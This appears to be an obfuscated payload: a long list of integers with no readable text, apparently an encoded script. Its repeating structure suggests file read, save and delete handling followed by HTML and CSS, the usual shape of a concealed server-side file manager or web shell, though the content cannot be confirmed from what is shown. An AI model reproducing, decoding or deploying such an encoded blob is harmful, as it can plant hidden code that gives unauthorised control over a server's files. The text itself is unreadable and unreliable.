25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 17, 103, 84, 84, 85, 18, 29, 84, 80, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 29, 84, 80, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 39, 119, 94, 83, 90, 86, 94, 25, 91, 90, 82, 85, 94, 93, 19, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 87, 94, 90, 93, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 86, 94, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 90, 87, 92, 94, 77, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 77, 90, 87, 92, 94, 77, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 90, 87, 92, 94, 77, 21, 25, 29, 119, 116, 116, 109, 18, 25, 69, 69, 25, 26, 82, 72, 100, 91, 82, 85, 94, 17, 29, 77, 90, 87, 92, 94, 77, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 91, 82, 85, 94, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 85, 90, 82, 83, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 87, 94, 90, 93, 100, 91, 82, 85, 94, 100, 73, 85, 90, 82, 83, 17, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 77, 87, 78, 94, 21, 25, 39, 88, 84, 83, 77, 94, 83, 77, 39, 25, 6, 3, 25, 29, 73, 85, 90, 82, 83, 21, 25, 39, 83, 90, 86, 94, 39, 25, 6, 3, 25, 103, 90, 72, 94, 83, 90, 86, 94, 17, 29, 77, 90, 87, 92, 94, 77, 18, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 88, 90, 72, 94, 25, 28, 72, 90, 75, 94, 28, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 83, 90, 86, 94, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 86, 94, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 103, 11, 13, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 88, 84, 83, 77, 94, 83, 77, 100, 103, 11, 13, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 85, 94, 92, 90, 88, 66, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 17, 29, 100, 105, 116, 104, 109, 96, 28, 88, 84, 83, 77, 94, 83, 77, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 77, 90, 87, 92, 94, 77, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 87, 77, 87, 82, 86, 17, 29, 73, 90, 77, 81, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 77, 90, 87, 92, 94, 77, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 25, 69, 69, 25, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 77, 90, 87, 92, 94, 77, 21, 25, 29, 119, 116, 116, 109, 18, 25, 69, 69, 25, 26, 82, 72, 100, 91, 82, 85, 94, 17, 29, 77, 90, 87, 92, 94, 77, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 114, 83, 75, 90, 85, 82, 93, 25, 91, 82, 85, 94, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 80, 25, 6, 25, 91, 90, 85, 72, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 103, 11, 13, 25, 26, 6, 6, 25, 28, 28, 18, 25, 29, 84, 80, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 103, 11, 13, 17, 29, 103, 11, 13, 21, 25, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 82, 91, 25, 17, 29, 85, 94, 92, 90, 88, 66, 25, 26, 6, 6, 25, 28, 28, 18, 25, 29, 84, 80, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 85, 94, 92, 90, 88, 66, 17, 29, 85, 94, 92, 90, 88, 66, 21, 25, 29, 77, 90, 87, 92, 94, 77, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 29, 84, 80, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 29, 84, 80, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 39, 104, 90, 75, 94, 25, 91, 90, 82, 85, 94, 93, 19, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 93, 94, 91, 90, 78, 85, 77, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 110, 83, 80, 83, 84, 76, 83, 25, 72, 81, 82, 80, 82, 92, 91, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 82, 83, 82, 77, 82, 90, 85, 25, 73, 90, 77, 81, 25, 91, 84, 87, 25, 127, 104, 25, 17, 93, 94, 88, 84, 93, 94, 25, 81, 94, 65, 25, 91, 87, 84, 86, 25, 124, 126, 109, 18, 25, 31, 20, 54, 63, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 87, 90, 86, 25, 6, 25, 82, 72, 72, 94, 77, 17, 29, 100, 124, 126, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 18, 25, 4, 25, 17, 72, 77, 87, 82, 83, 92, 18, 29, 100, 124, 126, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 25, 15, 25, 28, 28, 0, 54, 63, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 77, 81, 25, 25, 6, 25, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 87, 90, 86, 25, 26, 6, 6, 25, 28, 28, 25, 4, 25, 78, 81, 94, 65, 17, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 87, 90, 86, 18, 25, 15, 25, 29, 120, 110, 119, 119, 126, 115, 109, 0, 54, 63, 29, 72, 77, 90, 77, 94, 105, 90, 77, 81, 25, 25, 25, 25, 6, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 77, 81, 18, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 0, 54, 63, 4, 3, 54, 63, 5, 26, 93, 84, 88, 77, 66, 73, 94, 25, 81, 77, 86, 85, 3, 54, 63, 5, 81, 77, 86, 85, 25, 85, 90, 83, 92, 6, 39, 94, 83, 39, 3, 54, 63, 5, 81, 94, 90, 93, 3, 54, 63, 5, 86, 94, 77, 90, 25, 88, 81, 90, 87, 72, 94, 77, 6, 39, 78, 77, 91, 22, 1, 39, 25, 20, 3, 54, 63, 5, 86, 94, 77, 90, 25, 83, 90, 86, 94, 6, 39, 75, 82, 94, 76, 73, 84, 87, 77, 39, 25, 88, 84, 83, 77, 94, 83, 77, 6, 39, 76, 82, 93, 77, 81, 6, 93, 94, 75, 82, 88, 94, 22, 76, 82, 93, 77, 81, 21, 82, 83, 82, 77, 82, 90, 85, 22, 72, 88, 90, 85, 94, 6, 10, 39, 25, 20, 3, 54, 63, 5, 77, 82, 77, 85, 94, 3, 201, 164, 181, 129, 25, 112, 122, 108, 119, 110, 112, 116, 5, 20, 77, 82, 77, 85, 94, 3, 54, 63, 54, 63, 5, 85, 82, 83, 80, 25, 81, 87, 94, 91, 6, 39, 81, 77, 77, 73, 72, 15, 20, 20, 91, 84, 83, 77, 72, 19, 92, 84, 84, 92, 85, 94, 90, 73, 82, 72, 19, 88, 84, 86, 20, 88, 72, 72, 23, 4, 91, 90, 86, 82, 85, 66, 6, 111, 82, 85, 85, 90, 16, 104, 85, 90, 103, 15, 76, 92, 81, 77, 121, 13, 9, 9, 0, 14, 9, 9, 0, 12, 9, 9, 27, 93, 82, 72, 73, 85, 90, 66, 6, 72, 76, 90, 73, 39, 25, 87, 94, 85, 6, 39, 72, 77, 66, 85, 94, 72, 81, 94, 94, 77, 39, 3, 54, 63, 54, 63, 5, 72, 77, 66, 85, 94, 3, 54, 63, 15, 87, 84, 84, 77, 64, 54, 63, 25, 25, 22, 22, 88, 10, 15, 24, 12, 1, 13, 1, 13, 1, 0, 25, 22, 22, 88, 23, 15, 24, 125, 1, 2, 9, 2, 9, 0, 25, 22, 22, 88, 8, 15, 24, 12, 11, 11, 13, 14, 7, 0, 25, 22, 22, 88, 13, 15, 24, 122, 1, 11, 9, 12, 1, 0, 25, 22, 22, 88, 14, 15, 24, 13, 12, 13, 8, 13, 120, 0, 54, 63, 25, 25, 22, 22, 103, 92, 15, 24, 10, 94, 10, 93, 23, 23, 0, 25, 22, 22, 73, 90, 83, 94, 85, 15, 24, 23, 90, 23, 1, 8, 9, 0, 25, 22, 22, 94, 87, 87, 15, 24, 91, 91, 11, 103, 11, 103, 0, 25, 22, 22, 84, 80, 15, 24, 14, 1, 88, 2, 1, 103, 0, 25, 22, 22, 76, 90, 87, 83, 15, 24, 91, 91, 88, 88, 11, 11, 0, 54, 63, 25, 25, 22, 22, 87, 90, 93, 82, 78, 72, 15, 10, 13, 73, 65, 0, 25, 22, 22, 72, 81, 90, 93, 84, 76, 15, 9, 25, 10, 9, 73, 65, 25, 8, 9, 73, 65, 25, 87, 92, 103, 90, 17, 9, 21, 9, 21, 9, 21, 19, 8, 14, 18, 0, 54, 63, 70, 54, 63, 31, 64, 103, 84, 65, 22, 72, 82, 79, 82, 83, 92, 15, 103, 84, 87, 93, 94, 87, 22, 103, 84, 65, 70, 54, 63, 81, 77, 86, 85, 21, 103, 84, 93, 66, 64, 81, 94, 82, 92, 81, 77, 15, 10, 9, 9, 30, 70, 54, 63, 103, 84, 93, 66, 64, 25, 86, 90, 87, 92, 82, 83, 15, 9, 0, 25, 91, 84, 83, 77, 22, 91, 90, 86, 82, 85, 66, 15, 39, 111, 82, 85, 85, 90, 25, 104, 85, 90, 103, 39, 21, 25, 72, 66, 72, 77, 94, 86, 22, 78, 82, 21, 25, 22, 90, 73, 73, 85, 94, 22, 72, 66, 72, 77, 94, 86, 21, 25, 104, 94, 92, 84, 94, 25, 110, 114, 21, 25, 119, 84, 103, 84, 77, 84, 21, 25, 39, 113, 94, 85, 75, 94, 77, 82, 88, 90, 25, 115, 94, 78, 94, 39, 21, 25, 122, 87, 82, 90, 85, 21, 25, 39, 115, 84, 77, 84, 25, 104, 90, 83, 72, 39, 21, 25, 39, 117, 82, 103, 94, 87, 90, 77, 82, 84, 83, 25, 104, 90, 83, 72, 39, 21, 25, 72, 90, 83, 72, 22, 72, 94, 87, 82, 91, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 103, 92, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 13, 91, 10, 91, 11, 0, 25, 70, 54, 63, 19, 76, 87, 90, 73, 73, 94, 87, 64, 25, 86, 90, 65, 22, 76, 82, 93, 77, 81, 15, 10, 10, 9, 9, 73, 65, 0, 25, 86, 90, 87, 92, 82, 83, 15, 8, 23, 73, 65, 25, 90, 78, 77, 84, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 9, 25, 10, 11, 73, 65, 0, 25, 70, 54, 63, 54, 63, 19, 81, 94, 90, 93, 94, 87, 64, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 14, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 10, 18, 18, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 23, 0, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 75, 90, 87, 17, 22, 22, 87, 90, 93, 82, 78, 72, 18, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 25, 10, 11, 73, 65, 0, 54, 63, 25, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 10, 13, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 95, 78, 72, 77, 82, 91, 66, 22, 88, 84, 83, 77, 94, 83, 77, 15, 72, 73, 90, 88, 94, 22, 103, 94, 77, 76, 94, 94, 83, 0, 54, 63, 70, 54, 63, 19, 103, 87, 90, 83, 93, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 92, 90, 73, 15, 10, 23, 73, 65, 0, 25, 70, 54, 63, 19, 103, 87, 90, 83, 93, 25, 19, 85, 84, 92, 84, 64, 25, 76, 82, 93, 77, 81, 15, 25, 13, 9, 73, 65, 0, 25, 81, 94, 82, 92, 81, 77, 15, 25, 13, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 10, 9, 73, 65, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 25, 81, 82, 93, 93, 94, 83, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 77, 87, 90, 83, 72, 73, 90, 87, 94, 83, 77, 0, 25, 70, 54, 63, 19, 103, 87, 90, 83, 93, 25, 19, 85, 84, 92, 84, 25, 82, 86, 92, 64, 25, 76, 82, 93, 77, 81, 15, 25, 10, 9, 9, 30, 0, 25, 81, 94, 82, 92, 81, 77, 15, 25, 10, 9, 9, 30, 0, 25, 84, 103, 95, 94, 88, 77, 22, 91, 82, 77, 15, 25, 88, 84, 83, 77, 90, 82, 83, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 25, 103, 85, 84, 88, 80, 0, 25, 70, 54, 63, 19, 103, 87, 90, 83, 93, 25, 81, 10, 64, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 1, 73, 65, 0, 25, 86, 90, 87, 92, 82, 83, 15, 9, 0, 25, 85, 94, 77, 77, 94, 87, 22, 72, 73, 90, 88, 82, 83, 92, 15, 19, 8, 73, 65, 70, 54, 63, 54, 63, 19, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 64, 25, 77, 94, 65, 77, 22, 90, 85, 82, 92, 83, 15, 25, 87, 82, 92, 81, 77, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 91, 85, 94, 65, 22, 93, 82, 87, 94, 88, 77, 82, 84, 83, 15, 88, 84, 85, 78, 86, 83, 0, 25, 92, 90, 73, 15, 11, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 91, 85, 94, 65, 22, 94, 83, 93, 0, 25, 70, 54, 63, 19, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 25, 19, 103, 90, 93, 92, 94, 64, 54, 63, 25, 25, 93, 82, 72, 73, 85, 90, 66, 15, 82, 83, 85, 82, 83, 94, 22, 103, 85, 84, 88, 80, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 1, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 10, 23, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 11, 94, 2, 94, 91, 0, 54, 63, 25, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 23, 73, 65, 0, 25, 85, 82, 83, 94, 22, 81, 94, 82, 92, 81, 77, 15, 10, 19, 8, 94, 86, 0, 54, 63, 70, 54, 63, 19, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 25, 19, 103, 90, 93, 92, 94, 25, 88, 84, 93, 94, 64, 25, 88, 84, 85, 84, 87, 15, 24, 91, 91, 91, 0, 25, 91, 84, 83, 77, 22, 91, 90, 86, 82, 85, 66, 15, 25, 78, 82, 22, 86, 84, 83, 84, 72, 73, 90, 88, 94, 21, 25, 104, 123, 118, 84, 83, 84, 22, 119, 94, 92, 78, 85, 90, 87, 21, 25, 118, 94, 83, 85, 84, 21, 25, 120, 84, 83, 72, 84, 85, 90, 72, 21, 25, 39, 117, 82, 103, 94, 87, 90, 77, 82, 84, 83, 25, 118, 84, 83, 84, 39, 21, 25, 86, 84, 83, 84, 72, 73, 90, 88, 94, 0, 25, 70, 54, 63, 54, 63, 19, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 64, 54, 63, 25, 25, 86, 90, 87, 92, 82, 83, 22, 77, 84, 73, 15, 10, 23, 73, 65, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 25, 10, 11, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 73, 90, 83, 94, 85, 18, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 9, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 75, 90, 87, 17, 22, 22, 87, 90, 93, 82, 78, 72, 18, 0, 54, 63, 25, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 91, 85, 94, 65, 22, 76, 87, 90, 73, 15, 76, 87, 90, 73, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 54, 63, 70, 54, 63, 19, 88, 87, 78, 86, 103, 21, 25, 19, 88, 87, 78, 86, 103, 19, 88, 78, 87, 87, 94, 83, 77, 64, 54, 63, 25, 25, 77, 94, 65, 77, 22, 93, 94, 88, 84, 87, 90, 77, 82, 84, 83, 15, 83, 84, 83, 94, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 10, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 2, 2, 2, 73, 65, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 9, 94, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 11, 94, 2, 94, 91, 0, 54, 63, 25, 25, 77, 87, 90, 83, 72, 82, 77, 82, 84, 83, 15, 25, 90, 85, 85, 25, 19, 10, 14, 72, 25, 94, 90, 72, 94, 22, 82, 83, 22, 84, 78, 77, 0, 54, 63, 70, 54, 63, 19, 88, 87, 78, 86, 103, 15, 81, 84, 75, 94, 87, 64, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 23, 14, 70, 54, 63, 19, 88, 87, 78, 86, 103, 19, 88, 78, 87, 87, 94, 83, 77, 64, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 23, 1, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 91, 91, 0, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 84, 87, 15, 24, 9, 9, 9, 9, 9, 9, 13, 13, 70, 54, 63, 19, 88, 87, 78, 86, 103, 22, 72, 94, 73, 64, 84, 73, 90, 88, 82, 77, 66, 15, 19, 11, 70, 54, 63, 54, 63, 19, 73, 90, 83, 94, 85, 64, 25, 86, 90, 87, 92, 82, 83, 22, 77, 84, 73, 15, 10, 11, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 73, 90, 83, 94, 85, 18, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 75, 90, 87, 17, 22, 22, 87, 90, 93, 82, 78, 72, 18, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 90, 0, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 81, 82, 93, 93, 94, 83, 0, 25, 70, 54, 63, 54, 63, 19, 77, 84, 84, 85, 103, 90, 87, 64, 54, 63, 25, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 10, 9, 73, 65, 0, 25, 91, 85, 94, 65, 22, 76, 87, 90, 73, 15, 76, 87, 90, 73, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 22, 103, 84, 77, 77, 84, 86, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 90, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 23, 90, 23, 12, 8, 9, 0, 54, 63, 70, 54, 63, 19, 103, 77, 83, 64, 54, 63, 25, 25, 90, 73, 73, 94, 90, 87, 90, 83, 88, 94, 15, 83, 84, 83, 94, 0, 25, 103, 84, 87, 93, 94, 87, 15, 83, 84, 83, 94, 0, 25, 88, 78, 87, 72, 84, 87, 15, 73, 84, 82, 83, 77, 94, 87, 0, 54, 63, 25, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 9, 73, 65, 25, 10, 13, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 23, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 13, 18, 18, 0, 54, 63, 25, 25, 88, 84, 85, 84, 87, 15, 24, 23, 2, 10, 103, 23, 9, 0, 25, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 12, 9, 9, 0, 54, 63, 25, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 9, 25, 11, 73, 65, 25, 10, 13, 73, 65, 25, 24, 9, 9, 9, 9, 9, 9, 13, 14, 21, 25, 82, 83, 72, 94, 77, 25, 9, 25, 10, 73, 65, 25, 9, 25, 24, 91, 91, 91, 91, 91, 91, 14, 14, 0, 54, 63, 25, 25, 77, 87, 90, 83, 72, 82, 77, 82, 84, 83, 15, 25, 77, 87, 90, 83, 72, 91, 84, 87, 86, 25, 19, 9, 11, 72, 25, 94, 90, 72, 94, 21, 25, 91, 82, 85, 77, 94, 87, 25, 19, 23, 72, 25, 94, 90, 72, 94, 0, 54, 63, 70, 54, 63, 19, 103, 77, 83, 15, 81, 84, 75, 94, 87, 64, 25, 91, 82, 85, 77, 94, 87, 15, 103, 87, 82, 92, 81, 77, 83, 94, 72, 72, 17, 10, 19, 9, 14, 18, 25, 70, 54, 63, 19, 103, 77, 83, 15, 90, 88, 77, 82, 75, 94, 64, 25, 77, 87, 90, 83, 72, 91, 84, 87, 86, 15, 77, 87, 90, 83, 72, 85, 90, 77, 94, 98, 17, 10, 73, 65, 18, 25, 70, 54, 63, 19, 103, 77, 83, 19, 72, 94, 88, 84, 83, 93, 90, 87, 66, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 1, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 23, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 10, 94, 12, 94, 90, 0, 25, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 11, 9, 9, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 